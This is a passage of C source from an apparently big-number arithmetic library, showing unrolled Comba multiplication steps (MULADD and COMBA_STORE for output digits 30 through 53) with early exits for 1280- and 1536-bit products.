COMBA_STORE(C->dp[29]);
/* 30 */
COMBA_FORWARD;
MULADD(at[0], at[78]); MULADD(at[1], at[77]); MULADD(at[2], at[76]); MULADD(at[3], at[75]); MULADD(at[4], at[74]); MULADD(at[5], at[73]); MULADD(at[6], at[72]); MULADD(at[7], at[71]); MULADD(at[8], at[70]); MULADD(at[9], at[69]); MULADD(at[10], at[68]); MULADD(at[11], at[67]); MULADD(at[12], at[66]); MULADD(at[13], at[65]); MULADD(at[14], at[64]); MULADD(at[15], at[63]); MULADD(at[16], at[62]); MULADD(at[17], at[61]); MULADD(at[18], at[60]); MULADD(at[19], at[59]); MULADD(at[20], at[58]); MULADD(at[21], at[57]); MULADD(at[22], at[56]); MULADD(at[23], at[55]); MULADD(at[24], at[54]); MULADD(at[25], at[53]); MULADD(at[26], at[52]); MULADD(at[27], at[51]); MULADD(at[28], at[50]); MULADD(at[29], at[49]); MULADD(at[30], at[48]);
COMBA_STORE(C->dp[30]);
/* 31 */
COMBA_FORWARD;
MULADD(at[0], at[79]); MULADD(at[1], at[78]); MULADD(at[2], at[77]); MULADD(at[3], at[76]); MULADD(at[4], at[75]); MULADD(at[5], at[74]); MULADD(at[6], at[73]); MULADD(at[7], at[72]); MULADD(at[8], at[71]); MULADD(at[9], at[70]); MULADD(at[10], at[69]); MULADD(at[11], at[68]); MULADD(at[12], at[67]); MULADD(at[13], at[66]); MULADD(at[14], at[65]); MULADD(at[15], at[64]); MULADD(at[16], at[63]); MULADD(at[17], at[62]); MULADD(at[18], at[61]); MULADD(at[19], at[60]); MULADD(at[20], at[59]); MULADD(at[21], at[58]); MULADD(at[22], at[57]); MULADD(at[23], at[56]); MULADD(at[24], at[55]); MULADD(at[25], at[54]); MULADD(at[26], at[53]); MULADD(at[27], at[52]); MULADD(at[28], at[51]); MULADD(at[29], at[50]); MULADD(at[30], at[49]); MULADD(at[31], at[48]);
COMBA_STORE(C->dp[31]);
/* 32 */
COMBA_FORWARD;
MULADD(at[0], at[80]); MULADD(at[1], at[79]); MULADD(at[2], at[78]); MULADD(at[3], at[77]); MULADD(at[4], at[76]); MULADD(at[5], at[75]); MULADD(at[6], at[74]); MULADD(at[7], at[73]); MULADD(at[8], at[72]); MULADD(at[9], at[71]); MULADD(at[10], at[70]); MULADD(at[11], at[69]); MULADD(at[12], at[68]); MULADD(at[13], at[67]); MULADD(at[14], at[66]); MULADD(at[15], at[65]); MULADD(at[16], at[64]); MULADD(at[17], at[63]); MULADD(at[18], at[62]); MULADD(at[19], at[61]); MULADD(at[20], at[60]); MULADD(at[21], at[59]); MULADD(at[22], at[58]); MULADD(at[23], at[57]); MULADD(at[24], at[56]); MULADD(at[25], at[55]); MULADD(at[26], at[54]); MULADD(at[27], at[53]); MULADD(at[28], at[52]); MULADD(at[29], at[51]); MULADD(at[30], at[50]); MULADD(at[31], at[49]); MULADD(at[32], at[48]);
COMBA_STORE(C->dp[32]);
/* 33 */
COMBA_FORWARD;
MULADD(at[0], at[81]); MULADD(at[1], at[80]); MULADD(at[2], at[79]); MULADD(at[3], at[78]); MULADD(at[4], at[77]); MULADD(at[5], at[76]); MULADD(at[6], at[75]); MULADD(at[7], at[74]); MULADD(at[8], at[73]); MULADD(at[9], at[72]); MULADD(at[10], at[71]); MULADD(at[11], at[70]); MULADD(at[12], at[69]); MULADD(at[13], at[68]); MULADD(at[14], at[67]); MULADD(at[15], at[66]); MULADD(at[16], at[65]); MULADD(at[17], at[64]); MULADD(at[18], at[63]); MULADD(at[19], at[62]); MULADD(at[20], at[61]); MULADD(at[21], at[60]); MULADD(at[22], at[59]); MULADD(at[23], at[58]); MULADD(at[24], at[57]); MULADD(at[25], at[56]); MULADD(at[26], at[55]); MULADD(at[27], at[54]); MULADD(at[28], at[53]); MULADD(at[29], at[52]); MULADD(at[30], at[51]); MULADD(at[31], at[50]); MULADD(at[32], at[49]); MULADD(at[33], at[48]);
COMBA_STORE(C->dp[33]);
/* 34 */
COMBA_FORWARD;
MULADD(at[0], at[82]); MULADD(at[1], at[81]); MULADD(at[2], at[80]); MULADD(at[3], at[79]); MULADD(at[4], at[78]); MULADD(at[5], at[77]); MULADD(at[6], at[76]); MULADD(at[7], at[75]); MULADD(at[8], at[74]); MULADD(at[9], at[73]); MULADD(at[10], at[72]); MULADD(at[11], at[71]); MULADD(at[12], at[70]); MULADD(at[13], at[69]); MULADD(at[14], at[68]); MULADD(at[15], at[67]); MULADD(at[16], at[66]); MULADD(at[17], at[65]); MULADD(at[18], at[64]); MULADD(at[19], at[63]); MULADD(at[20], at[62]); MULADD(at[21], at[61]); MULADD(at[22], at[60]); MULADD(at[23], at[59]); MULADD(at[24], at[58]); MULADD(at[25], at[57]); MULADD(at[26], at[56]); MULADD(at[27], at[55]); MULADD(at[28], at[54]); MULADD(at[29], at[53]); MULADD(at[30], at[52]); MULADD(at[31], at[51]); MULADD(at[32], at[50]); MULADD(at[33], at[49]); MULADD(at[34], at[48]);
COMBA_STORE(C->dp[34]);
/* 35 */
COMBA_FORWARD;
MULADD(at[0], at[83]); MULADD(at[1], at[82]); MULADD(at[2], at[81]); MULADD(at[3], at[80]); MULADD(at[4], at[79]); MULADD(at[5], at[78]); MULADD(at[6], at[77]); MULADD(at[7], at[76]); MULADD(at[8], at[75]); MULADD(at[9], at[74]); MULADD(at[10], at[73]); MULADD(at[11], at[72]); MULADD(at[12], at[71]); MULADD(at[13], at[70]); MULADD(at[14], at[69]); MULADD(at[15], at[68]); MULADD(at[16], at[67]); MULADD(at[17], at[66]); MULADD(at[18], at[65]); MULADD(at[19], at[64]); MULADD(at[20], at[63]); MULADD(at[21], at[62]); MULADD(at[22], at[61]); MULADD(at[23], at[60]); MULADD(at[24], at[59]); MULADD(at[25], at[58]); MULADD(at[26], at[57]); MULADD(at[27], at[56]); MULADD(at[28], at[55]); MULADD(at[29], at[54]); MULADD(at[30], at[53]); MULADD(at[31], at[52]); MULADD(at[32], at[51]); MULADD(at[33], at[50]); MULADD(at[34], at[49]); MULADD(at[35], at[48]);
COMBA_STORE(C->dp[35]);
/* 36 */
COMBA_FORWARD;
MULADD(at[0], at[84]); MULADD(at[1], at[83]); MULADD(at[2], at[82]); MULADD(at[3], at[81]); MULADD(at[4], at[80]); MULADD(at[5], at[79]); MULADD(at[6], at[78]); MULADD(at[7], at[77]); MULADD(at[8], at[76]); MULADD(at[9], at[75]); MULADD(at[10], at[74]); MULADD(at[11], at[73]); MULADD(at[12], at[72]); MULADD(at[13], at[71]); MULADD(at[14], at[70]); MULADD(at[15], at[69]); MULADD(at[16], at[68]); MULADD(at[17], at[67]); MULADD(at[18], at[66]); MULADD(at[19], at[65]); MULADD(at[20], at[64]); MULADD(at[21], at[63]); MULADD(at[22], at[62]); MULADD(at[23], at[61]); MULADD(at[24], at[60]); MULADD(at[25], at[59]); MULADD(at[26], at[58]); MULADD(at[27], at[57]); MULADD(at[28], at[56]); MULADD(at[29], at[55]); MULADD(at[30], at[54]); MULADD(at[31], at[53]); MULADD(at[32], at[52]); MULADD(at[33], at[51]); MULADD(at[34], at[50]); MULADD(at[35], at[49]); MULADD(at[36], at[48]);
COMBA_STORE(C->dp[36]);
/* 37 */
COMBA_FORWARD;
MULADD(at[0], at[85]); MULADD(at[1], at[84]); MULADD(at[2], at[83]); MULADD(at[3], at[82]); MULADD(at[4], at[81]); MULADD(at[5], at[80]); MULADD(at[6], at[79]); MULADD(at[7], at[78]); MULADD(at[8], at[77]); MULADD(at[9], at[76]); MULADD(at[10], at[75]); MULADD(at[11], at[74]); MULADD(at[12], at[73]); MULADD(at[13], at[72]); MULADD(at[14], at[71]); MULADD(at[15], at[70]); MULADD(at[16], at[69]); MULADD(at[17], at[68]); MULADD(at[18], at[67]); MULADD(at[19], at[66]); MULADD(at[20], at[65]); MULADD(at[21], at[64]); MULADD(at[22], at[63]); MULADD(at[23], at[62]); MULADD(at[24], at[61]); MULADD(at[25], at[60]); MULADD(at[26], at[59]); MULADD(at[27], at[58]); MULADD(at[28], at[57]); MULADD(at[29], at[56]); MULADD(at[30], at[55]); MULADD(at[31], at[54]); MULADD(at[32], at[53]); MULADD(at[33], at[52]); MULADD(at[34], at[51]); MULADD(at[35], at[50]); MULADD(at[36], at[49]); MULADD(at[37], at[48]);
COMBA_STORE(C->dp[37]);
/* 38 */
COMBA_FORWARD;
MULADD(at[0], at[86]); MULADD(at[1], at[85]); MULADD(at[2], at[84]); MULADD(at[3], at[83]); MULADD(at[4], at[82]); MULADD(at[5], at[81]); MULADD(at[6], at[80]); MULADD(at[7], at[79]); MULADD(at[8], at[78]); MULADD(at[9], at[77]); MULADD(at[10], at[76]); MULADD(at[11], at[75]); MULADD(at[12], at[74]); MULADD(at[13], at[73]); MULADD(at[14], at[72]); MULADD(at[15], at[71]); MULADD(at[16], at[70]); MULADD(at[17], at[69]); MULADD(at[18], at[68]); MULADD(at[19], at[67]); MULADD(at[20], at[66]); MULADD(at[21], at[65]); MULADD(at[22], at[64]); MULADD(at[23], at[63]); MULADD(at[24], at[62]); MULADD(at[25], at[61]); MULADD(at[26], at[60]); MULADD(at[27], at[59]); MULADD(at[28], at[58]); MULADD(at[29], at[57]); MULADD(at[30], at[56]); MULADD(at[31], at[55]); MULADD(at[32], at[54]); MULADD(at[33], at[53]); MULADD(at[34], at[52]); MULADD(at[35], at[51]); MULADD(at[36], at[50]); MULADD(at[37], at[49]); MULADD(at[38], at[48]);
COMBA_STORE(C->dp[38]);
/* early out at 40 digits, 40*32==1280, or two 640 bit operands */
if (out_size <= 40) { COMBA_STORE2(C->dp[39]); C->used = 40; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 39 */
COMBA_FORWARD;
MULADD(at[0], at[87]); MULADD(at[1], at[86]); MULADD(at[2], at[85]); MULADD(at[3], at[84]); MULADD(at[4], at[83]); MULADD(at[5], at[82]); MULADD(at[6], at[81]); MULADD(at[7], at[80]); MULADD(at[8], at[79]); MULADD(at[9], at[78]); MULADD(at[10], at[77]); MULADD(at[11], at[76]); MULADD(at[12], at[75]); MULADD(at[13], at[74]); MULADD(at[14], at[73]); MULADD(at[15], at[72]); MULADD(at[16], at[71]); MULADD(at[17], at[70]); MULADD(at[18], at[69]); MULADD(at[19], at[68]); MULADD(at[20], at[67]); MULADD(at[21], at[66]); MULADD(at[22], at[65]); MULADD(at[23], at[64]); MULADD(at[24], at[63]); MULADD(at[25], at[62]); MULADD(at[26], at[61]); MULADD(at[27], at[60]); MULADD(at[28], at[59]); MULADD(at[29], at[58]); MULADD(at[30], at[57]); MULADD(at[31], at[56]); MULADD(at[32], at[55]); MULADD(at[33], at[54]); MULADD(at[34], at[53]); MULADD(at[35], at[52]); MULADD(at[36], at[51]); MULADD(at[37], at[50]); MULADD(at[38], at[49]); MULADD(at[39], at[48]);
COMBA_STORE(C->dp[39]);
/* 40 */
COMBA_FORWARD;
MULADD(at[0], at[88]); MULADD(at[1], at[87]); MULADD(at[2], at[86]); MULADD(at[3], at[85]); MULADD(at[4], at[84]); MULADD(at[5], at[83]); MULADD(at[6], at[82]); MULADD(at[7], at[81]); MULADD(at[8], at[80]); MULADD(at[9], at[79]); MULADD(at[10], at[78]); MULADD(at[11], at[77]); MULADD(at[12], at[76]); MULADD(at[13], at[75]); MULADD(at[14], at[74]); MULADD(at[15], at[73]); MULADD(at[16], at[72]); MULADD(at[17], at[71]); MULADD(at[18], at[70]); MULADD(at[19], at[69]); MULADD(at[20], at[68]); MULADD(at[21], at[67]); MULADD(at[22], at[66]); MULADD(at[23], at[65]); MULADD(at[24], at[64]); MULADD(at[25], at[63]); MULADD(at[26], at[62]); MULADD(at[27], at[61]); MULADD(at[28], at[60]); MULADD(at[29], at[59]); MULADD(at[30], at[58]); MULADD(at[31], at[57]); MULADD(at[32], at[56]); MULADD(at[33], at[55]); MULADD(at[34], at[54]); MULADD(at[35], at[53]); MULADD(at[36], at[52]); MULADD(at[37], at[51]); MULADD(at[38], at[50]); MULADD(at[39], at[49]); MULADD(at[40], at[48]);
COMBA_STORE(C->dp[40]);
/* 41 */
COMBA_FORWARD;
MULADD(at[0], at[89]); MULADD(at[1], at[88]); MULADD(at[2], at[87]); MULADD(at[3], at[86]); MULADD(at[4], at[85]); MULADD(at[5], at[84]); MULADD(at[6], at[83]); MULADD(at[7], at[82]); MULADD(at[8], at[81]); MULADD(at[9], at[80]); MULADD(at[10], at[79]); MULADD(at[11], at[78]); MULADD(at[12], at[77]); MULADD(at[13], at[76]); MULADD(at[14], at[75]); MULADD(at[15], at[74]); MULADD(at[16], at[73]); MULADD(at[17], at[72]); MULADD(at[18], at[71]); MULADD(at[19], at[70]); MULADD(at[20], at[69]); MULADD(at[21], at[68]); MULADD(at[22], at[67]); MULADD(at[23], at[66]); MULADD(at[24], at[65]); MULADD(at[25], at[64]); MULADD(at[26], at[63]); MULADD(at[27], at[62]); MULADD(at[28], at[61]); MULADD(at[29], at[60]); MULADD(at[30], at[59]); MULADD(at[31], at[58]); MULADD(at[32], at[57]); MULADD(at[33], at[56]); MULADD(at[34], at[55]); MULADD(at[35], at[54]); MULADD(at[36], at[53]); MULADD(at[37], at[52]); MULADD(at[38], at[51]); MULADD(at[39], at[50]); MULADD(at[40], at[49]); MULADD(at[41], at[48]);
COMBA_STORE(C->dp[41]);
/* 42 */
COMBA_FORWARD;
MULADD(at[0], at[90]); MULADD(at[1], at[89]); MULADD(at[2], at[88]); MULADD(at[3], at[87]); MULADD(at[4], at[86]); MULADD(at[5], at[85]); MULADD(at[6], at[84]); MULADD(at[7], at[83]); MULADD(at[8], at[82]); MULADD(at[9], at[81]); MULADD(at[10], at[80]); MULADD(at[11], at[79]); MULADD(at[12], at[78]); MULADD(at[13], at[77]); MULADD(at[14], at[76]); MULADD(at[15], at[75]); MULADD(at[16], at[74]); MULADD(at[17], at[73]); MULADD(at[18], at[72]); MULADD(at[19], at[71]); MULADD(at[20], at[70]); MULADD(at[21], at[69]); MULADD(at[22], at[68]); MULADD(at[23], at[67]); MULADD(at[24], at[66]); MULADD(at[25], at[65]); MULADD(at[26], at[64]); MULADD(at[27], at[63]); MULADD(at[28], at[62]); MULADD(at[29], at[61]); MULADD(at[30], at[60]); MULADD(at[31], at[59]); MULADD(at[32], at[58]); MULADD(at[33], at[57]); MULADD(at[34], at[56]); MULADD(at[35], at[55]); MULADD(at[36], at[54]); MULADD(at[37], at[53]); MULADD(at[38], at[52]); MULADD(at[39], at[51]); MULADD(at[40], at[50]); MULADD(at[41], at[49]); MULADD(at[42], at[48]);
COMBA_STORE(C->dp[42]);
/* 43 */
COMBA_FORWARD;
MULADD(at[0], at[91]); MULADD(at[1], at[90]); MULADD(at[2], at[89]); MULADD(at[3], at[88]); MULADD(at[4], at[87]); MULADD(at[5], at[86]); MULADD(at[6], at[85]); MULADD(at[7], at[84]); MULADD(at[8], at[83]); MULADD(at[9], at[82]); MULADD(at[10], at[81]); MULADD(at[11], at[80]); MULADD(at[12], at[79]); MULADD(at[13], at[78]); MULADD(at[14], at[77]); MULADD(at[15], at[76]); MULADD(at[16], at[75]); MULADD(at[17], at[74]); MULADD(at[18], at[73]); MULADD(at[19], at[72]); MULADD(at[20], at[71]); MULADD(at[21], at[70]); MULADD(at[22], at[69]); MULADD(at[23], at[68]); MULADD(at[24], at[67]); MULADD(at[25], at[66]); MULADD(at[26], at[65]); MULADD(at[27], at[64]); MULADD(at[28], at[63]); MULADD(at[29], at[62]); MULADD(at[30], at[61]); MULADD(at[31], at[60]); MULADD(at[32], at[59]); MULADD(at[33], at[58]); MULADD(at[34], at[57]); MULADD(at[35], at[56]); MULADD(at[36], at[55]); MULADD(at[37], at[54]); MULADD(at[38], at[53]); MULADD(at[39], at[52]); MULADD(at[40], at[51]); MULADD(at[41], at[50]); MULADD(at[42], at[49]); MULADD(at[43], at[48]);
COMBA_STORE(C->dp[43]);
/* 44 */
COMBA_FORWARD;
MULADD(at[0], at[92]); MULADD(at[1], at[91]); MULADD(at[2], at[90]); MULADD(at[3], at[89]); MULADD(at[4], at[88]); MULADD(at[5], at[87]); MULADD(at[6], at[86]); MULADD(at[7], at[85]); MULADD(at[8], at[84]); MULADD(at[9], at[83]); MULADD(at[10], at[82]); MULADD(at[11], at[81]); MULADD(at[12], at[80]); MULADD(at[13], at[79]); MULADD(at[14], at[78]); MULADD(at[15], at[77]); MULADD(at[16], at[76]); MULADD(at[17], at[75]); MULADD(at[18], at[74]); MULADD(at[19], at[73]); MULADD(at[20], at[72]); MULADD(at[21], at[71]); MULADD(at[22], at[70]); MULADD(at[23], at[69]); MULADD(at[24], at[68]); MULADD(at[25], at[67]); MULADD(at[26], at[66]); MULADD(at[27], at[65]); MULADD(at[28], at[64]); MULADD(at[29], at[63]); MULADD(at[30], at[62]); MULADD(at[31], at[61]); MULADD(at[32], at[60]); MULADD(at[33], at[59]); MULADD(at[34], at[58]); MULADD(at[35], at[57]); MULADD(at[36], at[56]); MULADD(at[37], at[55]); MULADD(at[38], at[54]); MULADD(at[39], at[53]); MULADD(at[40], at[52]); MULADD(at[41], at[51]); MULADD(at[42], at[50]); MULADD(at[43], at[49]); MULADD(at[44], at[48]);
COMBA_STORE(C->dp[44]);
/* 45 */
COMBA_FORWARD;
MULADD(at[0], at[93]); MULADD(at[1], at[92]); MULADD(at[2], at[91]); MULADD(at[3], at[90]); MULADD(at[4], at[89]); MULADD(at[5], at[88]); MULADD(at[6], at[87]); MULADD(at[7], at[86]); MULADD(at[8], at[85]); MULADD(at[9], at[84]); MULADD(at[10], at[83]); MULADD(at[11], at[82]); MULADD(at[12], at[81]); MULADD(at[13], at[80]); MULADD(at[14], at[79]); MULADD(at[15], at[78]); MULADD(at[16], at[77]); MULADD(at[17], at[76]); MULADD(at[18], at[75]); MULADD(at[19], at[74]); MULADD(at[20], at[73]); MULADD(at[21], at[72]); MULADD(at[22], at[71]); MULADD(at[23], at[70]); MULADD(at[24], at[69]); MULADD(at[25], at[68]); MULADD(at[26], at[67]); MULADD(at[27], at[66]); MULADD(at[28], at[65]); MULADD(at[29], at[64]); MULADD(at[30], at[63]); MULADD(at[31], at[62]); MULADD(at[32], at[61]); MULADD(at[33], at[60]); MULADD(at[34], at[59]); MULADD(at[35], at[58]); MULADD(at[36], at[57]); MULADD(at[37], at[56]); MULADD(at[38], at[55]); MULADD(at[39], at[54]); MULADD(at[40], at[53]); MULADD(at[41], at[52]); MULADD(at[42], at[51]); MULADD(at[43], at[50]); MULADD(at[44], at[49]); MULADD(at[45], at[48]);
COMBA_STORE(C->dp[45]);
/* 46 */
COMBA_FORWARD;
MULADD(at[0], at[94]); MULADD(at[1], at[93]); MULADD(at[2], at[92]); MULADD(at[3], at[91]); MULADD(at[4], at[90]); MULADD(at[5], at[89]); MULADD(at[6], at[88]); MULADD(at[7], at[87]); MULADD(at[8], at[86]); MULADD(at[9], at[85]); MULADD(at[10], at[84]); MULADD(at[11], at[83]); MULADD(at[12], at[82]); MULADD(at[13], at[81]); MULADD(at[14], at[80]); MULADD(at[15], at[79]); MULADD(at[16], at[78]); MULADD(at[17], at[77]); MULADD(at[18], at[76]); MULADD(at[19], at[75]); MULADD(at[20], at[74]); MULADD(at[21], at[73]); MULADD(at[22], at[72]); MULADD(at[23], at[71]); MULADD(at[24], at[70]); MULADD(at[25], at[69]); MULADD(at[26], at[68]); MULADD(at[27], at[67]); MULADD(at[28], at[66]); MULADD(at[29], at[65]); MULADD(at[30], at[64]); MULADD(at[31], at[63]); MULADD(at[32], at[62]); MULADD(at[33], at[61]); MULADD(at[34], at[60]); MULADD(at[35], at[59]); MULADD(at[36], at[58]); MULADD(at[37], at[57]); MULADD(at[38], at[56]); MULADD(at[39], at[55]); MULADD(at[40], at[54]); MULADD(at[41], at[53]); MULADD(at[42], at[52]); MULADD(at[43], at[51]); MULADD(at[44], at[50]); MULADD(at[45], at[49]); MULADD(at[46], at[48]);
COMBA_STORE(C->dp[46]);
/* early out at 48 digits, 48*32==1536, or two 768 bit operands */
if (out_size <= 48) { COMBA_STORE2(C->dp[47]); C->used = 48; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 47 */
COMBA_FORWARD;
MULADD(at[0], at[95]); MULADD(at[1], at[94]); MULADD(at[2], at[93]); MULADD(at[3], at[92]); MULADD(at[4], at[91]); MULADD(at[5], at[90]); MULADD(at[6], at[89]); MULADD(at[7], at[88]); MULADD(at[8], at[87]); MULADD(at[9], at[86]); MULADD(at[10], at[85]); MULADD(at[11], at[84]); MULADD(at[12], at[83]); MULADD(at[13], at[82]); MULADD(at[14], at[81]); MULADD(at[15], at[80]); MULADD(at[16], at[79]); MULADD(at[17], at[78]); MULADD(at[18], at[77]); MULADD(at[19], at[76]); MULADD(at[20], at[75]); MULADD(at[21], at[74]); MULADD(at[22], at[73]); MULADD(at[23], at[72]); MULADD(at[24], at[71]); MULADD(at[25], at[70]); MULADD(at[26], at[69]); MULADD(at[27], at[68]); MULADD(at[28], at[67]); MULADD(at[29], at[66]); MULADD(at[30], at[65]); MULADD(at[31], at[64]); MULADD(at[32], at[63]); MULADD(at[33], at[62]); MULADD(at[34], at[61]); MULADD(at[35], at[60]); MULADD(at[36], at[59]); MULADD(at[37], at[58]); MULADD(at[38], at[57]); MULADD(at[39], at[56]); MULADD(at[40], at[55]); MULADD(at[41], at[54]); MULADD(at[42], at[53]); MULADD(at[43], at[52]); MULADD(at[44], at[51]); MULADD(at[45], at[50]); MULADD(at[46], at[49]); MULADD(at[47], at[48]);
COMBA_STORE(C->dp[47]);
/* 48 */
COMBA_FORWARD;
MULADD(at[1], at[95]); MULADD(at[2], at[94]); MULADD(at[3], at[93]); MULADD(at[4], at[92]); MULADD(at[5], at[91]); MULADD(at[6], at[90]); MULADD(at[7], at[89]); MULADD(at[8], at[88]); MULADD(at[9], at[87]); MULADD(at[10], at[86]); MULADD(at[11], at[85]); MULADD(at[12], at[84]); MULADD(at[13], at[83]); MULADD(at[14], at[82]); MULADD(at[15], at[81]); MULADD(at[16], at[80]); MULADD(at[17], at[79]); MULADD(at[18], at[78]); MULADD(at[19], at[77]); MULADD(at[20], at[76]); MULADD(at[21], at[75]); MULADD(at[22], at[74]); MULADD(at[23], at[73]); MULADD(at[24], at[72]); MULADD(at[25], at[71]); MULADD(at[26], at[70]); MULADD(at[27], at[69]); MULADD(at[28], at[68]); MULADD(at[29], at[67]); MULADD(at[30], at[66]); MULADD(at[31], at[65]); MULADD(at[32], at[64]); MULADD(at[33], at[63]); MULADD(at[34], at[62]); MULADD(at[35], at[61]); MULADD(at[36], at[60]); MULADD(at[37], at[59]); MULADD(at[38], at[58]); MULADD(at[39], at[57]); MULADD(at[40], at[56]); MULADD(at[41], at[55]); MULADD(at[42], at[54]); MULADD(at[43], at[53]); MULADD(at[44], at[52]); MULADD(at[45], at[51]); MULADD(at[46], at[50]); MULADD(at[47], at[49]);
COMBA_STORE(C->dp[48]);
/* 49 */
COMBA_FORWARD;
MULADD(at[2], at[95]); MULADD(at[3], at[94]); MULADD(at[4], at[93]); MULADD(at[5], at[92]); MULADD(at[6], at[91]); MULADD(at[7], at[90]); MULADD(at[8], at[89]); MULADD(at[9], at[88]); MULADD(at[10], at[87]); MULADD(at[11], at[86]); MULADD(at[12], at[85]); MULADD(at[13], at[84]); MULADD(at[14], at[83]); MULADD(at[15], at[82]); MULADD(at[16], at[81]); MULADD(at[17], at[80]); MULADD(at[18], at[79]); MULADD(at[19], at[78]); MULADD(at[20], at[77]); MULADD(at[21], at[76]); MULADD(at[22], at[75]); MULADD(at[23], at[74]); MULADD(at[24], at[73]); MULADD(at[25], at[72]); MULADD(at[26], at[71]); MULADD(at[27], at[70]); MULADD(at[28], at[69]); MULADD(at[29], at[68]); MULADD(at[30], at[67]); MULADD(at[31], at[66]); MULADD(at[32], at[65]); MULADD(at[33], at[64]); MULADD(at[34], at[63]); MULADD(at[35], at[62]); MULADD(at[36], at[61]); MULADD(at[37], at[60]); MULADD(at[38], at[59]); MULADD(at[39], at[58]); MULADD(at[40], at[57]); MULADD(at[41], at[56]); MULADD(at[42], at[55]); MULADD(at[43], at[54]); MULADD(at[44], at[53]); MULADD(at[45], at[52]); MULADD(at[46], at[51]); MULADD(at[47], at[50]);
COMBA_STORE(C->dp[49]);
/* 50 */
COMBA_FORWARD;
MULADD(at[3], at[95]); MULADD(at[4], at[94]); MULADD(at[5], at[93]); MULADD(at[6], at[92]); MULADD(at[7], at[91]); MULADD(at[8], at[90]); MULADD(at[9], at[89]); MULADD(at[10], at[88]); MULADD(at[11], at[87]); MULADD(at[12], at[86]); MULADD(at[13], at[85]); MULADD(at[14], at[84]); MULADD(at[15], at[83]); MULADD(at[16], at[82]); MULADD(at[17], at[81]); MULADD(at[18], at[80]); MULADD(at[19], at[79]); MULADD(at[20], at[78]); MULADD(at[21], at[77]); MULADD(at[22], at[76]); MULADD(at[23], at[75]); MULADD(at[24], at[74]); MULADD(at[25], at[73]); MULADD(at[26], at[72]); MULADD(at[27], at[71]); MULADD(at[28], at[70]); MULADD(at[29], at[69]); MULADD(at[30], at[68]); MULADD(at[31], at[67]); MULADD(at[32], at[66]); MULADD(at[33], at[65]); MULADD(at[34], at[64]); MULADD(at[35], at[63]); MULADD(at[36], at[62]); MULADD(at[37], at[61]); MULADD(at[38], at[60]); MULADD(at[39], at[59]); MULADD(at[40], at[58]); MULADD(at[41], at[57]); MULADD(at[42], at[56]); MULADD(at[43], at[55]); MULADD(at[44], at[54]); MULADD(at[45], at[53]); MULADD(at[46], at[52]); MULADD(at[47], at[51]);
COMBA_STORE(C->dp[50]);
/* 51 */
COMBA_FORWARD;
MULADD(at[4], at[95]); MULADD(at[5], at[94]); MULADD(at[6], at[93]); MULADD(at[7], at[92]); MULADD(at[8], at[91]); MULADD(at[9], at[90]); MULADD(at[10], at[89]); MULADD(at[11], at[88]); MULADD(at[12], at[87]); MULADD(at[13], at[86]); MULADD(at[14], at[85]); MULADD(at[15], at[84]); MULADD(at[16], at[83]); MULADD(at[17], at[82]); MULADD(at[18], at[81]); MULADD(at[19], at[80]); MULADD(at[20], at[79]); MULADD(at[21], at[78]); MULADD(at[22], at[77]); MULADD(at[23], at[76]); MULADD(at[24], at[75]); MULADD(at[25], at[74]); MULADD(at[26], at[73]); MULADD(at[27], at[72]); MULADD(at[28], at[71]); MULADD(at[29], at[70]); MULADD(at[30], at[69]); MULADD(at[31], at[68]); MULADD(at[32], at[67]); MULADD(at[33], at[66]); MULADD(at[34], at[65]); MULADD(at[35], at[64]); MULADD(at[36], at[63]); MULADD(at[37], at[62]); MULADD(at[38], at[61]); MULADD(at[39], at[60]); MULADD(at[40], at[59]); MULADD(at[41], at[58]); MULADD(at[42], at[57]); MULADD(at[43], at[56]); MULADD(at[44], at[55]); MULADD(at[45], at[54]); MULADD(at[46], at[53]); MULADD(at[47], at[52]);
COMBA_STORE(C->dp[51]);
/* 52 */
COMBA_FORWARD;
MULADD(at[5], at[95]); MULADD(at[6], at[94]); MULADD(at[7], at[93]); MULADD(at[8], at[92]); MULADD(at[9], at[91]); MULADD(at[10], at[90]); MULADD(at[11], at[89]); MULADD(at[12], at[88]); MULADD(at[13], at[87]); MULADD(at[14], at[86]); MULADD(at[15], at[85]); MULADD(at[16], at[84]); MULADD(at[17], at[83]); MULADD(at[18], at[82]); MULADD(at[19], at[81]); MULADD(at[20], at[80]); MULADD(at[21], at[79]); MULADD(at[22], at[78]); MULADD(at[23], at[77]); MULADD(at[24], at[76]); MULADD(at[25], at[75]); MULADD(at[26], at[74]); MULADD(at[27], at[73]); MULADD(at[28], at[72]); MULADD(at[29], at[71]); MULADD(at[30], at[70]); MULADD(at[31], at[69]); MULADD(at[32], at[68]); MULADD(at[33], at[67]); MULADD(at[34], at[66]); MULADD(at[35], at[65]); MULADD(at[36], at[64]); MULADD(at[37], at[63]); MULADD(at[38], at[62]); MULADD(at[39], at[61]); MULADD(at[40], at[60]); MULADD(at[41], at[59]); MULADD(at[42], at[58]); MULADD(at[43], at[57]); MULADD(at[44], at[56]); MULADD(at[45], at[55]); MULADD(at[46], at[54]); MULADD(at[47], at[53]);
COMBA_STORE(C->dp[52]);
/* 53 */
COMBA_FORWARD;
MULADD(at[6], at[95]); MULADD(at[7], at[94]); MULADD(at[8], at[93]); MULADD(at[9], at[92]); MULADD(at[10], at[91]); MULADD(at[11], at[90]); MULADD(at[12], at[89]); MULADD(at[13], at[88]); MULADD(at[14], at[87]); MULADD(at[15], at[86]); MULADD(at[16], at[85]); MULADD(at[17], at[84]); MULADD(at[18], at[83]); MULADD(at[19], at[82]); MULADD(at[20], at[81]); MULADD(at[21], at[80]); MULADD(at[22], at[79]); MULADD(at[23], at[78]); MULADD(at[24], at[77]); MULADD(at[25], at[76]); MULADD(at[26], at[75]); MULADD(at[27], at[74]); MULADD(at[28], at[73]); MULADD(at[29], at[72]); MULADD(at[30], at[71]); MULADD(at[31], at[70]); MULADD(at[32], at[69]); MULADD(at[33], at[68]); MULADD(at[34], at[67]); MULADD(at[35], at[66]); MULADD(at[36], at[65]); MULADD(at[37], at[64]); MULADD(at[38], at[63]); MULADD(at[39], at[62]); MULADD(at[40], at[61]); MULADD(at[41], at[60]); MULADD(at[42], at[59]); MULADD(at[43], at[58]); MULADD(at[44], at[57]); MULADD(at[45], at[56]); MULADD(at[46], at[55]); MULADD(at[47], at[54]);
COMBA_STORE(C->dp[53]);
/* 54 */
COMBA_FORWARD;
